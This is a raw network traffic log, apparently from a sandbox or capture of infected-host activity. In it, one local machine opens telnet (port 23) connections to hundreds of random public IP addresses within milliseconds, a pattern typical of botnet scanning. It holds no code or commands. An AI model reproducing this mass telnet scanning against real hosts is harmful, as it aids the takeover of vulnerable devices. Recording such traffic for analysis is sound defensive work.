Oct 14, 2024 17:30:07.895549059 CEST	12058	23	192.168.2.14	52.98.183.177
Oct 14, 2024 17:30:07.895562887 CEST	12058	23	192.168.2.14	54.107.230.60
Oct 14, 2024 17:30:07.895570993 CEST	12058	23	192.168.2.14	120.43.13.115
Oct 14, 2024 17:30:07.895571947 CEST	12058	23	192.168.2.14	212.126.129.102
Oct 14, 2024 17:30:07.895574093 CEST	12058	23	192.168.2.14	68.149.139.48
Oct 14, 2024 17:30:07.895586014 CEST	12058	23	192.168.2.14	132.245.171.237
Oct 14, 2024 17:30:07.895591974 CEST	12058	23	192.168.2.14	221.0.136.189
Oct 14, 2024 17:30:07.895605087 CEST	12058	23	192.168.2.14	160.56.163.84
Oct 14, 2024 17:30:07.895605087 CEST	12058	23	192.168.2.14	130.149.50.177
Oct 14, 2024 17:30:07.895608902 CEST	12058	23	192.168.2.14	74.197.52.36
Oct 14, 2024 17:30:07.895622969 CEST	12058	23	192.168.2.14	18.79.62.8
Oct 14, 2024 17:30:07.895625114 CEST	12058	23	192.168.2.14	19.40.232.112
Oct 14, 2024 17:30:07.895638943 CEST	12058	23	192.168.2.14	72.202.168.5
Oct 14, 2024 17:30:07.895646095 CEST	12058	23	192.168.2.14	176.81.215.105
Oct 14, 2024 17:30:07.895649910 CEST	12058	23	192.168.2.14	78.124.169.55
Oct 14, 2024 17:30:07.895649910 CEST	12058	23	192.168.2.14	205.128.249.175
Oct 14, 2024 17:30:07.895649910 CEST	12058	23	192.168.2.14	45.147.100.39
Oct 14, 2024 17:30:07.895654917 CEST	12058	23	192.168.2.14	35.220.124.225
Oct 14, 2024 17:30:07.895669937 CEST	12058	23	192.168.2.14	34.156.197.126
Oct 14, 2024 17:30:07.895669937 CEST	12058	23	192.168.2.14	213.196.167.14
Oct 14, 2024 17:30:07.895679951 CEST	12058	23	192.168.2.14	146.105.221.219
Oct 14, 2024 17:30:07.895689964 CEST	12058	23	192.168.2.14	207.201.203.87
Oct 14, 2024 17:30:07.895694017 CEST	12058	23	192.168.2.14	66.31.85.60
Oct 14, 2024 17:30:07.895710945 CEST	12058	23	192.168.2.14	68.216.164.232
Oct 14, 2024 17:30:07.895710945 CEST	12058	23	192.168.2.14	185.178.139.242
Oct 14, 2024 17:30:07.895716906 CEST	12058	23	192.168.2.14	76.99.8.120
Oct 14, 2024 17:30:07.895718098 CEST	12058	23	192.168.2.14	163.88.248.68
Oct 14, 2024 17:30:07.895719051 CEST	12058	23	192.168.2.14	165.5.22.154
Oct 14, 2024 17:30:07.895740032 CEST	12058	23	192.168.2.14	121.107.225.131
Oct 14, 2024 17:30:07.895754099 CEST	12058	23	192.168.2.14	186.219.119.49
Oct 14, 2024 17:30:07.895757914 CEST	12058	23	192.168.2.14	182.204.78.68
Oct 14, 2024 17:30:07.895757914 CEST	12058	23	192.168.2.14	189.42.153.201
Oct 14, 2024 17:30:07.895771027 CEST	12058	23	192.168.2.14	18.227.129.2
Oct 14, 2024 17:30:07.895773888 CEST	12058	23	192.168.2.14	153.52.36.26
Oct 14, 2024 17:30:07.895775080 CEST	12058	23	192.168.2.14	108.160.28.56
Oct 14, 2024 17:30:07.895776987 CEST	12058	23	192.168.2.14	208.15.26.211
Oct 14, 2024 17:30:07.895776987 CEST	12058	23	192.168.2.14	168.207.93.227
Oct 14, 2024 17:30:07.895792007 CEST	12058	23	192.168.2.14	2.57.19.127
Oct 14, 2024 17:30:07.895793915 CEST	12058	23	192.168.2.14	115.234.90.210
Oct 14, 2024 17:30:07.895795107 CEST	12058	23	192.168.2.14	148.91.105.151
Oct 14, 2024 17:30:07.895812988 CEST	12058	23	192.168.2.14	154.204.47.247
Oct 14, 2024 17:30:07.895812988 CEST	12058	23	192.168.2.14	191.156.15.145
Oct 14, 2024 17:30:07.895829916 CEST	12058	23	192.168.2.14	112.28.116.234
Oct 14, 2024 17:30:07.895829916 CEST	12058	23	192.168.2.14	54.135.48.216
Oct 14, 2024 17:30:07.895848036 CEST	12058	23	192.168.2.14	80.230.137.178
Oct 14, 2024 17:30:07.895853996 CEST	12058	23	192.168.2.14	197.254.90.214
Oct 14, 2024 17:30:07.895853996 CEST	12058	23	192.168.2.14	175.145.57.70
Oct 14, 2024 17:30:07.895864010 CEST	12058	23	192.168.2.14	82.94.2.146
Oct 14, 2024 17:30:07.895869017 CEST	12058	23	192.168.2.14	57.61.156.44
Oct 14, 2024 17:30:07.895879984 CEST	12058	23	192.168.2.14	87.63.166.30
Oct 14, 2024 17:30:07.895884037 CEST	12058	23	192.168.2.14	88.186.18.102
Oct 14, 2024 17:30:07.895901918 CEST	12058	23	192.168.2.14	13.88.247.112
Oct 14, 2024 17:30:07.895909071 CEST	12058	23	192.168.2.14	111.239.21.110
Oct 14, 2024 17:30:07.895916939 CEST	12058	23	192.168.2.14	126.228.24.92
Oct 14, 2024 17:30:07.895919085 CEST	12058	23	192.168.2.14	179.106.251.11
Oct 14, 2024 17:30:07.895946026 CEST	12058	23	192.168.2.14	133.29.65.41
Oct 14, 2024 17:30:07.895946026 CEST	12058	23	192.168.2.14	188.28.50.193
Oct 14, 2024 17:30:07.895952940 CEST	12058	23	192.168.2.14	153.74.246.227
Oct 14, 2024 17:30:07.895966053 CEST	12058	23	192.168.2.14	13.0.139.78
Oct 14, 2024 17:30:07.895981073 CEST	12058	23	192.168.2.14	64.173.51.127
Oct 14, 2024 17:30:07.895988941 CEST	12058	23	192.168.2.14	152.135.138.170
Oct 14, 2024 17:30:07.895988941 CEST	12058	23	192.168.2.14	83.125.48.245
Oct 14, 2024 17:30:07.895997047 CEST	12058	23	192.168.2.14	32.107.70.183
Oct 14, 2024 17:30:07.895998001 CEST	12058	23	192.168.2.14	140.231.38.87
Oct 14, 2024 17:30:07.896013021 CEST	12058	23	192.168.2.14	12.160.16.228
Oct 14, 2024 17:30:07.896019936 CEST	12058	23	192.168.2.14	146.250.29.70
Oct 14, 2024 17:30:07.896028996 CEST	12058	23	192.168.2.14	17.43.73.80
Oct 14, 2024 17:30:07.896028996 CEST	12058	23	192.168.2.14	108.102.45.149
Oct 14, 2024 17:30:07.896034956 CEST	12058	23	192.168.2.14	62.221.96.101
Oct 14, 2024 17:30:07.896034956 CEST	12058	23	192.168.2.14	76.23.154.193
Oct 14, 2024 17:30:07.896035910 CEST	12058	23	192.168.2.14	104.112.179.127
Oct 14, 2024 17:30:07.896042109 CEST	12058	23	192.168.2.14	155.10.4.92
Oct 14, 2024 17:30:07.896042109 CEST	12058	23	192.168.2.14	90.98.18.122
Oct 14, 2024 17:30:07.896042109 CEST	12058	23	192.168.2.14	34.184.143.201
Oct 14, 2024 17:30:07.896051884 CEST	12058	23	192.168.2.14	90.134.164.106
Oct 14, 2024 17:30:07.896058083 CEST	12058	23	192.168.2.14	159.233.250.241
Oct 14, 2024 17:30:07.896071911 CEST	12058	23	192.168.2.14	197.188.96.42
Oct 14, 2024 17:30:07.896074057 CEST	12058	23	192.168.2.14	54.83.161.204
Oct 14, 2024 17:30:07.896084070 CEST	12058	23	192.168.2.14	117.78.76.217
Oct 14, 2024 17:30:07.896099091 CEST	12058	23	192.168.2.14	221.106.90.251
Oct 14, 2024 17:30:07.896099091 CEST	12058	23	192.168.2.14	151.116.18.150
Oct 14, 2024 17:30:07.896111965 CEST	12058	23	192.168.2.14	174.49.248.102
Oct 14, 2024 17:30:07.896111965 CEST	12058	23	192.168.2.14	183.192.120.185
Oct 14, 2024 17:30:07.896115065 CEST	12058	23	192.168.2.14	46.178.102.11
Oct 14, 2024 17:30:07.896130085 CEST	12058	23	192.168.2.14	61.51.141.209
Oct 14, 2024 17:30:07.896137953 CEST	12058	23	192.168.2.14	62.92.103.224
Oct 14, 2024 17:30:07.896153927 CEST	12058	23	192.168.2.14	112.195.111.212
Oct 14, 2024 17:30:07.896155119 CEST	12058	23	192.168.2.14	61.0.109.78
Oct 14, 2024 17:30:07.896155119 CEST	12058	23	192.168.2.14	95.138.25.185
Oct 14, 2024 17:30:07.896168947 CEST	12058	23	192.168.2.14	111.80.116.129
Oct 14, 2024 17:30:07.896183014 CEST	12058	23	192.168.2.14	94.87.211.186
Oct 14, 2024 17:30:07.896183014 CEST	12058	23	192.168.2.14	129.220.200.5
Oct 14, 2024 17:30:07.896192074 CEST	12058	23	192.168.2.14	158.29.113.119
Oct 14, 2024 17:30:07.896193981 CEST	12058	23	192.168.2.14	59.197.153.99
Oct 14, 2024 17:30:07.896210909 CEST	12058	23	192.168.2.14	72.84.6.157
Oct 14, 2024 17:30:07.896222115 CEST	12058	23	192.168.2.14	39.47.85.227
Oct 14, 2024 17:30:07.896233082 CEST	12058	23	192.168.2.14	193.70.193.163
Oct 14, 2024 17:30:07.896233082 CEST	12058	23	192.168.2.14	147.156.157.238
Oct 14, 2024 17:30:07.896240950 CEST	12058	23	192.168.2.14	61.159.167.217
Oct 14, 2024 17:30:07.896258116 CEST	12058	23	192.168.2.14	115.186.135.133
Oct 14, 2024 17:30:07.896261930 CEST	12058	23	192.168.2.14	125.221.103.62
Oct 14, 2024 17:30:07.896262884 CEST	12058	23	192.168.2.14	14.49.164.247
Oct 14, 2024 17:30:07.896267891 CEST	12058	23	192.168.2.14	72.185.98.126
Oct 14, 2024 17:30:07.896270037 CEST	12058	23	192.168.2.14	130.208.245.92
Oct 14, 2024 17:30:07.896286011 CEST	12058	23	192.168.2.14	82.215.227.95
Oct 14, 2024 17:30:07.896296978 CEST	12058	23	192.168.2.14	99.179.234.62
Oct 14, 2024 17:30:07.896296978 CEST	12058	23	192.168.2.14	45.239.187.7
Oct 14, 2024 17:30:07.896306038 CEST	12058	23	192.168.2.14	40.238.168.90
Oct 14, 2024 17:30:07.896306038 CEST	12058	23	192.168.2.14	208.85.157.42
Oct 14, 2024 17:30:07.896306992 CEST	12058	23	192.168.2.14	66.52.128.8
Oct 14, 2024 17:30:07.896308899 CEST	12058	23	192.168.2.14	106.88.202.24
Oct 14, 2024 17:30:07.896321058 CEST	12058	23	192.168.2.14	136.247.68.229
Oct 14, 2024 17:30:07.896321058 CEST	12058	23	192.168.2.14	170.131.254.240
Oct 14, 2024 17:30:07.896348953 CEST	12058	23	192.168.2.14	174.157.210.41
Oct 14, 2024 17:30:07.896348953 CEST	12058	23	192.168.2.14	179.147.27.20
Oct 14, 2024 17:30:07.896353006 CEST	12058	23	192.168.2.14	20.19.90.173
Oct 14, 2024 17:30:07.896367073 CEST	12058	23	192.168.2.14	106.123.1.162
Oct 14, 2024 17:30:07.896368980 CEST	12058	23	192.168.2.14	193.193.117.73
Oct 14, 2024 17:30:07.896377087 CEST	12058	23	192.168.2.14	90.96.143.179
Oct 14, 2024 17:30:07.896377087 CEST	12058	23	192.168.2.14	143.134.161.219
Oct 14, 2024 17:30:07.896380901 CEST	12058	23	192.168.2.14	111.188.229.148
Oct 14, 2024 17:30:07.896388054 CEST	12058	23	192.168.2.14	131.157.204.117
Oct 14, 2024 17:30:07.896388054 CEST	12058	23	192.168.2.14	34.71.218.198
Oct 14, 2024 17:30:07.896393061 CEST	12058	23	192.168.2.14	199.40.57.225
Oct 14, 2024 17:30:07.896418095 CEST	12058	23	192.168.2.14	97.68.76.16
Oct 14, 2024 17:30:07.896418095 CEST	12058	23	192.168.2.14	106.228.175.85
Oct 14, 2024 17:30:07.896418095 CEST	12058	23	192.168.2.14	155.230.182.31
Oct 14, 2024 17:30:07.896445990 CEST	12058	23	192.168.2.14	132.124.88.98
Oct 14, 2024 17:30:07.896445990 CEST	12058	23	192.168.2.14	114.192.109.183
Oct 14, 2024 17:30:07.896449089 CEST	12058	23	192.168.2.14	154.107.37.215
Oct 14, 2024 17:30:07.896452904 CEST	12058	23	192.168.2.14	96.148.192.56
Oct 14, 2024 17:30:07.896452904 CEST	12058	23	192.168.2.14	61.117.141.20
Oct 14, 2024 17:30:07.896471024 CEST	12058	23	192.168.2.14	96.24.174.90
Oct 14, 2024 17:30:07.896488905 CEST	12058	23	192.168.2.14	62.41.226.194
Oct 14, 2024 17:30:07.896488905 CEST	12058	23	192.168.2.14	150.83.172.153
Oct 14, 2024 17:30:07.896509886 CEST	12058	23	192.168.2.14	199.225.127.92
Oct 14, 2024 17:30:07.896509886 CEST	12058	23	192.168.2.14	13.3.23.238
Oct 14, 2024 17:30:07.896512985 CEST	12058	23	192.168.2.14	191.47.95.245
Oct 14, 2024 17:30:07.896523952 CEST	12058	23	192.168.2.14	128.161.86.161
Oct 14, 2024 17:30:07.896526098 CEST	12058	23	192.168.2.14	78.242.57.248
Oct 14, 2024 17:30:07.896528959 CEST	12058	23	192.168.2.14	135.228.247.77
Oct 14, 2024 17:30:07.896534920 CEST	12058	23	192.168.2.14	8.239.42.196
Oct 14, 2024 17:30:07.896548033 CEST	12058	23	192.168.2.14	149.69.101.209
Oct 14, 2024 17:30:07.896564007 CEST	12058	23	192.168.2.14	37.14.34.225
Oct 14, 2024 17:30:07.896568060 CEST	12058	23	192.168.2.14	166.57.15.63
Oct 14, 2024 17:30:07.896569014 CEST	12058	23	192.168.2.14	150.15.17.81
Oct 14, 2024 17:30:07.896579981 CEST	12058	23	192.168.2.14	217.33.147.167
Oct 14, 2024 17:30:07.896579981 CEST	12058	23	192.168.2.14	34.249.130.9
Oct 14, 2024 17:30:07.896581888 CEST	12058	23	192.168.2.14	174.163.101.116
Oct 14, 2024 17:30:07.896591902 CEST	12058	23	192.168.2.14	143.128.147.20
Oct 14, 2024 17:30:07.896600962 CEST	12058	23	192.168.2.14	153.83.100.107
Oct 14, 2024 17:30:07.896611929 CEST	12058	23	192.168.2.14	200.104.130.140
Oct 14, 2024 17:30:07.896611929 CEST	12058	23	192.168.2.14	77.38.158.216
Oct 14, 2024 17:30:07.896625996 CEST	12058	23	192.168.2.14	170.10.197.255
Oct 14, 2024 17:30:07.896625996 CEST	12058	23	192.168.2.14	221.24.105.236
Oct 14, 2024 17:30:07.896642923 CEST	12058	23	192.168.2.14	46.44.72.31
Oct 14, 2024 17:30:07.896658897 CEST	12058	23	192.168.2.14	200.115.229.50
Oct 14, 2024 17:30:07.896657944 CEST	12058	23	192.168.2.14	17.205.251.223
Oct 14, 2024 17:30:07.896668911 CEST	12058	23	192.168.2.14	102.215.250.174
Oct 14, 2024 17:30:07.896672964 CEST	12058	23	192.168.2.14	175.45.146.204
Oct 14, 2024 17:30:07.896677971 CEST	12058	23	192.168.2.14	143.45.169.18
Oct 14, 2024 17:30:07.896678925 CEST	12058	23	192.168.2.14	216.124.168.89
Oct 14, 2024 17:30:07.896692991 CEST	12058	23	192.168.2.14	62.204.193.198
Oct 14, 2024 17:30:07.896699905 CEST	12058	23	192.168.2.14	179.52.179.123
Oct 14, 2024 17:30:07.896713018 CEST	12058	23	192.168.2.14	14.29.162.155
Oct 14, 2024 17:30:07.896713972 CEST	12058	23	192.168.2.14	147.108.80.220
Oct 14, 2024 17:30:07.896716118 CEST	12058	23	192.168.2.14	1.238.122.115
Oct 14, 2024 17:30:07.896722078 CEST	12058	23	192.168.2.14	147.11.151.196
Oct 14, 2024 17:30:07.896744013 CEST	12058	23	192.168.2.14	41.18.182.197
Oct 14, 2024 17:30:07.896744013 CEST	12058	23	192.168.2.14	123.17.198.50
Oct 14, 2024 17:30:07.896752119 CEST	12058	23	192.168.2.14	132.35.76.244
Oct 14, 2024 17:30:07.896752119 CEST	12058	23	192.168.2.14	81.43.102.14
Oct 14, 2024 17:30:07.896761894 CEST	12058	23	192.168.2.14	133.20.167.229
Oct 14, 2024 17:30:07.896761894 CEST	12058	23	192.168.2.14	36.78.79.90
Oct 14, 2024 17:30:07.896765947 CEST	12058	23	192.168.2.14	82.45.178.23
Oct 14, 2024 17:30:07.896774054 CEST	12058	23	192.168.2.14	183.42.116.201
Oct 14, 2024 17:30:07.896785975 CEST	12058	23	192.168.2.14	150.146.149.59
Oct 14, 2024 17:30:07.896790028 CEST	12058	23	192.168.2.14	109.240.142.23
Oct 14, 2024 17:30:07.896790028 CEST	12058	23	192.168.2.14	171.101.74.204
Oct 14, 2024 17:30:07.896800995 CEST	12058	23	192.168.2.14	223.146.13.192
Oct 14, 2024 17:30:07.896809101 CEST	12058	23	192.168.2.14	83.194.186.16
Oct 14, 2024 17:30:07.896826029 CEST	12058	23	192.168.2.14	97.5.251.230
Oct 14, 2024 17:30:07.896826029 CEST	12058	23	192.168.2.14	124.126.178.77
Oct 14, 2024 17:30:07.896826029 CEST	12058	23	192.168.2.14	49.164.167.94
Oct 14, 2024 17:30:07.896826029 CEST	12058	23	192.168.2.14	9.43.153.22
Oct 14, 2024 17:30:07.896846056 CEST	12058	23	192.168.2.14	62.54.78.167
Oct 14, 2024 17:30:07.896853924 CEST	12058	23	192.168.2.14	130.253.208.31
Oct 14, 2024 17:30:07.896853924 CEST	12058	23	192.168.2.14	57.109.34.123
Oct 14, 2024 17:30:07.896857023 CEST	12058	23	192.168.2.14	66.69.138.120
Oct 14, 2024 17:30:07.896862030 CEST	12058	23	192.168.2.14	128.68.74.86
Oct 14, 2024 17:30:07.896862030 CEST	12058	23	192.168.2.14	1.95.173.231
Oct 14, 2024 17:30:07.896862030 CEST	12058	23	192.168.2.14	162.166.248.198
Oct 14, 2024 17:30:07.896872997 CEST	12058	23	192.168.2.14	51.137.133.153
Oct 14, 2024 17:30:07.896887064 CEST	12058	23	192.168.2.14	192.251.46.40
Oct 14, 2024 17:30:07.896887064 CEST	12058	23	192.168.2.14	140.194.14.215
Oct 14, 2024 17:30:07.896888971 CEST	12058	23	192.168.2.14	40.159.48.101
Oct 14, 2024 17:30:07.896904945 CEST	12058	23	192.168.2.14	129.233.166.246
Oct 14, 2024 17:30:07.896914959 CEST	12058	23	192.168.2.14	205.127.153.113
Oct 14, 2024 17:30:07.896936893 CEST	12058	23	192.168.2.14	90.131.10.46
Oct 14, 2024 17:30:07.896936893 CEST	12058	23	192.168.2.14	101.154.168.223
Oct 14, 2024 17:30:07.896946907 CEST	12058	23	192.168.2.14	54.107.255.200
Oct 14, 2024 17:30:07.896950960 CEST	12058	23	192.168.2.14	104.104.202.220
Oct 14, 2024 17:30:07.896950960 CEST	12058	23	192.168.2.14	208.228.236.151
Oct 14, 2024 17:30:07.896970987 CEST	12058	23	192.168.2.14	133.34.231.133
Oct 14, 2024 17:30:07.896980047 CEST	12058	23	192.168.2.14	183.40.212.95
Oct 14, 2024 17:30:07.896986961 CEST	12058	23	192.168.2.14	119.213.36.219
Oct 14, 2024 17:30:07.896989107 CEST	12058	23	192.168.2.14	113.86.152.158
Oct 14, 2024 17:30:07.897001982 CEST	12058	23	192.168.2.14	37.100.200.218
Oct 14, 2024 17:30:07.897002935 CEST	12058	23	192.168.2.14	70.227.228.10
Oct 14, 2024 17:30:07.897002935 CEST	12058	23	192.168.2.14	35.56.224.176
Oct 14, 2024 17:30:07.897017002 CEST	12058	23	192.168.2.14	52.50.143.96
Oct 14, 2024 17:30:07.897017002 CEST	12058	23	192.168.2.14	12.171.28.107
Oct 14, 2024 17:30:07.897020102 CEST	12058	23	192.168.2.14	63.130.143.73
Oct 14, 2024 17:30:07.897031069 CEST	12058	23	192.168.2.14	46.45.170.154
Oct 14, 2024 17:30:07.897032022 CEST	12058	23	192.168.2.14	52.122.176.228
Oct 14, 2024 17:30:07.897032022 CEST	12058	23	192.168.2.14	104.242.243.187
Oct 14, 2024 17:30:07.897032976 CEST	12058	23	192.168.2.14	115.226.3.107
Oct 14, 2024 17:30:07.897033930 CEST	12058	23	192.168.2.14	44.119.222.57
Oct 14, 2024 17:30:07.897051096 CEST	12058	23	192.168.2.14	113.48.241.154
Oct 14, 2024 17:30:07.897059917 CEST	12058	23	192.168.2.14	101.124.38.39
Oct 14, 2024 17:30:07.897063017 CEST	12058	23	192.168.2.14	140.1.171.112
Oct 14, 2024 17:30:07.897073030 CEST	12058	23	192.168.2.14	110.34.122.226
Oct 14, 2024 17:30:07.897082090 CEST	12058	23	192.168.2.14	32.54.51.255
Oct 14, 2024 17:30:07.897082090 CEST	12058	23	192.168.2.14	120.34.158.158
Oct 14, 2024 17:30:07.897092104 CEST	12058	23	192.168.2.14	156.107.47.31
Oct 14, 2024 17:30:07.897093058 CEST	12058	23	192.168.2.14	213.95.121.11
Oct 14, 2024 17:30:07.897093058 CEST	12058	23	192.168.2.14	188.180.242.226
Oct 14, 2024 17:30:07.897110939 CEST	12058	23	192.168.2.14	200.134.254.69
Oct 14, 2024 17:30:07.897123098 CEST	12058	23	192.168.2.14	8.30.51.183
Oct 14, 2024 17:30:07.897123098 CEST	12058	23	192.168.2.14	94.207.117.217
Oct 14, 2024 17:30:07.897125959 CEST	12058	23	192.168.2.14	39.42.145.57
Oct 14, 2024 17:30:07.897135973 CEST	12058	23	192.168.2.14	221.55.234.3
Oct 14, 2024 17:30:07.897141933 CEST	12058	23	192.168.2.14	178.107.10.150
Oct 14, 2024 17:30:07.897145033 CEST	12058	23	192.168.2.14	114.78.224.248
Oct 14, 2024 17:30:07.897156000 CEST	12058	23	192.168.2.14	4.167.200.32
Oct 14, 2024 17:30:07.897166967 CEST	12058	23	192.168.2.14	97.162.52.70
Oct 14, 2024 17:30:07.897171974 CEST	12058	23	192.168.2.14	176.240.90.246
Oct 14, 2024 17:30:07.897192955 CEST	12058	23	192.168.2.14	165.193.121.166
Oct 14, 2024 17:30:07.897192955 CEST	12058	23	192.168.2.14	27.211.13.104
Oct 14, 2024 17:30:07.897208929 CEST	12058	23	192.168.2.14	132.4.66.114
Oct 14, 2024 17:30:07.897212982 CEST	12058	23	192.168.2.14	184.88.171.125
Oct 14, 2024 17:30:07.897217989 CEST	12058	23	192.168.2.14	148.204.204.208
Oct 14, 2024 17:30:07.897224903 CEST	12058	23	192.168.2.14	198.180.98.103
Oct 14, 2024 17:30:07.897224903 CEST	12058	23	192.168.2.14	177.200.5.15
Oct 14, 2024 17:30:07.897236109 CEST	12058	23	192.168.2.14	162.139.94.39
Oct 14, 2024 17:30:07.897249937 CEST	12058	23	192.168.2.14	133.204.191.78
Oct 14, 2024 17:30:07.897263050 CEST	12058	23	192.168.2.14	223.198.5.217
Oct 14, 2024 17:30:07.897267103 CEST	12058	23	192.168.2.14	80.3.246.103
Oct 14, 2024 17:30:07.897269011 CEST	12058	23	192.168.2.14	150.125.222.142
Oct 14, 2024 17:30:07.897278070 CEST	12058	23	192.168.2.14	142.181.52.69
Oct 14, 2024 17:30:07.897278070 CEST	12058	23	192.168.2.14	142.188.173.233
Oct 14, 2024 17:30:07.897284985 CEST	12058	23	192.168.2.14	90.116.193.203
Oct 14, 2024 17:30:07.897291899 CEST	12058	23	192.168.2.14	35.107.169.215
Oct 14, 2024 17:30:07.897291899 CEST	12058	23	192.168.2.14	116.176.240.245
Oct 14, 2024 17:30:07.897320986 CEST	12058	23	192.168.2.14	17.200.184.76
Oct 14, 2024 17:30:07.897336960 CEST	12058	23	192.168.2.14	121.84.51.180
Oct 14, 2024 17:30:07.897340059 CEST	12058	23	192.168.2.14	73.147.46.149
Oct 14, 2024 17:30:07.897345066 CEST	12058	23	192.168.2.14	173.103.9.171
Oct 14, 2024 17:30:07.897352934 CEST	12058	23	192.168.2.14	223.185.2.230
Oct 14, 2024 17:30:07.897352934 CEST	12058	23	192.168.2.14	216.198.191.98
Oct 14, 2024 17:30:07.897368908 CEST	12058	23	192.168.2.14	172.80.26.180
Oct 14, 2024 17:30:07.897373915 CEST	12058	23	192.168.2.14	158.169.173.176
Oct 14, 2024 17:30:07.897373915 CEST	12058	23	192.168.2.14	36.188.95.204
Oct 14, 2024 17:30:07.897378922 CEST	12058	23	192.168.2.14	17.87.112.188
Oct 14, 2024 17:30:07.897384882 CEST	12058	23	192.168.2.14	54.67.160.235
Oct 14, 2024 17:30:07.897386074 CEST	12058	23	192.168.2.14	154.90.28.243
Oct 14, 2024 17:30:07.897401094 CEST	12058	23	192.168.2.14	205.190.217.237
Oct 14, 2024 17:30:07.897406101 CEST	12058	23	192.168.2.14	47.23.248.134
Oct 14, 2024 17:30:07.897416115 CEST	12058	23	192.168.2.14	116.135.201.165
Oct 14, 2024 17:30:07.897425890 CEST	12058	23	192.168.2.14	44.144.255.106
Oct 14, 2024 17:30:07.897425890 CEST	12058	23	192.168.2.14	1.10.26.53
Oct 14, 2024 17:30:07.897437096 CEST	12058	23	192.168.2.14	189.30.37.64
Oct 14, 2024 17:30:07.897443056 CEST	12058	23	192.168.2.14	52.157.60.74
Oct 14, 2024 17:30:07.897447109 CEST	12058	23	192.168.2.14	195.246.181.146
Oct 14, 2024 17:30:07.897454977 CEST	12058	23	192.168.2.14	80.110.96.13
Oct 14, 2024 17:30:07.897465944 CEST	12058	23	192.168.2.14	38.15.22.124
Oct 14, 2024 17:30:07.897476912 CEST	12058	23	192.168.2.14	186.135.71.246
Oct 14, 2024 17:30:07.897480011 CEST	12058	23	192.168.2.14	151.94.80.213
Oct 14, 2024 17:30:07.897490025 CEST	12058	23	192.168.2.14	117.231.237.237
Oct 14, 2024 17:30:07.897492886 CEST	12058	23	192.168.2.14	187.200.97.32
Oct 14, 2024 17:30:07.897500992 CEST	12058	23	192.168.2.14	100.213.190.72
Oct 14, 2024 17:30:07.897504091 CEST	12058	23	192.168.2.14	71.45.13.3
Oct 14, 2024 17:30:07.897519112 CEST	12058	23	192.168.2.14	201.44.187.124
Oct 14, 2024 17:30:07.897532940 CEST	12058	23	192.168.2.14	64.161.92.8
Oct 14, 2024 17:30:07.897537947 CEST	12058	23	192.168.2.14	95.56.129.90
Oct 14, 2024 17:30:07.897542000 CEST	12058	23	192.168.2.14	48.67.72.125
Oct 14, 2024 17:30:07.897558928 CEST	12058	23	192.168.2.14	114.61.13.187
Oct 14, 2024 17:30:07.897563934 CEST	12058	23	192.168.2.14	8.100.252.168
Oct 14, 2024 17:30:07.897563934 CEST	12058	23	192.168.2.14	80.0.207.12
Oct 14, 2024 17:30:07.897568941 CEST	12058	23	192.168.2.14	201.67.235.237
Oct 14, 2024 17:30:07.897568941 CEST	12058	23	192.168.2.14	77.19.121.71
Oct 14, 2024 17:30:07.897568941 CEST	12058	23	192.168.2.14	172.137.43.172
Oct 14, 2024 17:30:07.897582054 CEST	12058	23	192.168.2.14	82.117.186.123
Oct 14, 2024 17:30:07.897583961 CEST	12058	23	192.168.2.14	80.146.138.59
Oct 14, 2024 17:30:07.897591114 CEST	12058	23	192.168.2.14	78.103.1.134
Oct 14, 2024 17:30:07.897591114 CEST	12058	23	192.168.2.14	59.243.98.6
Oct 14, 2024 17:30:07.897598982 CEST	12058	23	192.168.2.14	154.201.199.231
Oct 14, 2024 17:30:07.897612095 CEST	12058	23	192.168.2.14	176.231.103.20
Oct 14, 2024 17:30:07.897614002 CEST	12058	23	192.168.2.14	132.220.229.40
Oct 14, 2024 17:30:07.897624969 CEST	12058	23	192.168.2.14	118.102.205.111
Oct 14, 2024 17:30:07.897631884 CEST	12058	23	192.168.2.14	136.124.183.34
Oct 14, 2024 17:30:07.897650957 CEST	12058	23	192.168.2.14	77.211.63.185
Oct 14, 2024 17:30:07.897655010 CEST	12058	23	192.168.2.14	45.134.206.128
Oct 14, 2024 17:30:07.897671938 CEST	12058	23	192.168.2.14	69.143.222.223
Oct 14, 2024 17:30:07.897675991 CEST	12058	23	192.168.2.14	151.143.61.10
Oct 14, 2024 17:30:07.897675991 CEST	12058	23	192.168.2.14	182.247.167.75
Oct 14, 2024 17:30:07.897700071 CEST	12058	23	192.168.2.14	95.228.209.108
Oct 14, 2024 17:30:07.897747040 CEST	12058	23	192.168.2.14	121.89.140.166
Oct 14, 2024 17:30:07.901848078 CEST	23	12058	20.41.227.56	192.168.2.14
Oct 14, 2024 17:30:07.902183056 CEST	12058	23	192.168.2.14	20.41.227.56
Oct 14, 2024 17:30:07.922806978 CEST	44266	23	192.168.2.14	151.90.142.103
Oct 14, 2024 17:30:07.922807932 CEST	56376	23	192.168.2.14	170.77.226.10
Oct 14, 2024 17:30:07.922826052 CEST	56722	23	192.168.2.14	84.212.186.125
Oct 14, 2024 17:30:07.922827005 CEST	58062	23	192.168.2.14	158.147.22.60
Oct 14, 2024 17:30:07.922827005 CEST	37472	23	192.168.2.14	200.32.91.185
Oct 14, 2024 17:30:07.922828913 CEST	46296	23	192.168.2.14	182.177.51.199
Oct 14, 2024 17:30:07.922843933 CEST	53876	23	192.168.2.14	153.83.241.119
Oct 14, 2024 17:30:07.922847033 CEST	43636	23	192.168.2.14	171.68.202.151
Oct 14, 2024 17:30:07.922858000 CEST	49468	23	192.168.2.14	23.3.142.157
Oct 14, 2024 17:30:07.922858953 CEST	60468	23	192.168.2.14	70.220.128.134
Oct 14, 2024 17:30:07.922859907 CEST	47054	23	192.168.2.14	134.111.36.138
Oct 14, 2024 17:30:07.922858953 CEST	58732	23	192.168.2.14	158.53.220.120
Oct 14, 2024 17:30:07.922858953 CEST	37812	23	192.168.2.14	187.130.95.64
Oct 14, 2024 17:30:07.922859907 CEST	52948	23	192.168.2.14	172.58.27.217
Oct 14, 2024 17:30:07.922864914 CEST	34830	23	192.168.2.14	69.112.156.75
Oct 14, 2024 17:30:07.922880888 CEST	44366	23	192.168.2.14	86.130.17.231
Oct 14, 2024 17:30:07.922887087 CEST	48716	23	192.168.2.14	170.229.66.71
Oct 14, 2024 17:30:07.922894955 CEST	55358	23	192.168.2.14	203.216.133.23
Oct 14, 2024 17:30:07.922894955 CEST	56568	23	192.168.2.14	143.190.197.134
Oct 14, 2024 17:30:07.922900915 CEST	35972	23	192.168.2.14	5.58.83.22
Oct 14, 2024 17:30:07.922904015 CEST	58780	23	192.168.2.14	174.81.148.67
Oct 14, 2024 17:30:07.922904968 CEST	60520	23	192.168.2.14	123.128.36.172
Oct 14, 2024 17:30:07.922904968 CEST	37280	23	192.168.2.14	154.152.32.228
